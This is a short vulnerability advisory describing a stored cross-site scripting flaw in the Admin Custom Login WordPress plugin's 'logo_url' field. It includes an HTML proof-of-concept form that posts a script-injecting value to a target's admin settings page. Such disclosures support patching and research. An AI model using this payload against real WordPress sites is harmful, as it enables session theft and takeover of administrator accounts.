Abstract
------------------------------------------------------------------------
A persistent Cross-Site Scripting vulnerability has been encountered in
the Admin Custom Login WordPress plugin. This issue allows an attacker
to perform a wide variety of actions, such as stealing Administrators'
session tokens, or performing arbitrary actions on their behalf. The
"logo_url" field does not validate <script> tags and does not perform
output encoding.

As an admin, it's possible to upload a logo on the login page. The "logo_url" field does not validate <script> tags and does not perform output encoding.

Proof of concept

<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=admin_custom_login" method="POST">
<input type="hidden" name="Action" value="logoSave"/>
<input type="hidden" name="logo_image" value="http://<target>/wp-content/uploads/2016/06/scriptalert1script.jpeg"/>
<input type="hidden" name="logo_width" value="200"/>
<input type="hidden" name="logo_height" value="60"/>
<input type="hidden" name="logo_url" value=""><script>alert(1)</script>"/>
<input type="hidden" name="logo_url_title" value="\\\\"/>
<input type="submit"/>
</form>
</body>
</html>

After this request is executed, re-open the admin panel of WordPress and visit the Admin Custom Login page.
